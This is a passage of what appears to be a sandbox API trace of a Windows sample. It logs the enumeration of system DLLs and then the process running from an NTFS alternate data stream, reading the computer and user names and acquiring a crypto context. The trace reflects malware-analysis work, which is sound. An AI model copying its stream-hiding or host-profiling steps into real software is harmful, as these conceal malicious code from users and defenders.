nFileSizeLow=0x5e400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x90c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.771] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.772] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0041.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x90c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.772] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0041.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.772] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0041.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x90c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0041.772] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0042.033] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x53fa68 | out: BaseAddress=0x53fa68*=0x75fd0000) returned 0x0 [0042.616] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0042.616] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0042.616] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e840) returned 1 [0042.616] FindClose (in: hFindFile=0x7327d0 | out: hFindFile=0x7327d0) returned 1 [0042.616] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin", pNumArgs=0x53fa94 | out: pNumArgs=0x53fa94) returned 0x743ac8*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e268 [0042.617] LocalFree (hMem=0x743ac8) returned 0x0 [0042.617] Wow64DisableWow64FsRedirection (in: OldValue=0x53fa90 | out: OldValue=0x53fa90*=0x0) returned 1 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x800) returned 0x2217cf8 [0042.617] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2217cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1:bin")) returned 0x2e [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x800) returned 0x2218500 [0042.617] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2218500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1:bin")) returned 0x2e [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e840 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0042.617] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x2218d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0042.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0042.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x90c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0042.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0042.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c900 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c948 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0042.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x100) returned 0x2218d08 [0042.617] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x2218d08, nSize=0x40 | out: lpBuffer="XDUWTFONO$") returned 0xa [0042.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2218d08) returned 1 [0042.618] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0042.618] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0042.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.618] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c990 [0042.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x90c990, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO$", lpUsedDefaultChar=0x0) returned 10 [0042.618] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c9d8 [0042.618] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c990) returned 1 [0042.618] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0042.618] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c9d8) returned 1 [0042.618] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c9d8 [0042.618] CryptAcquireContextW (in: phProv=0x53f8e8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f8e8*=0x743ac8) returned 1 [0042.619] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, 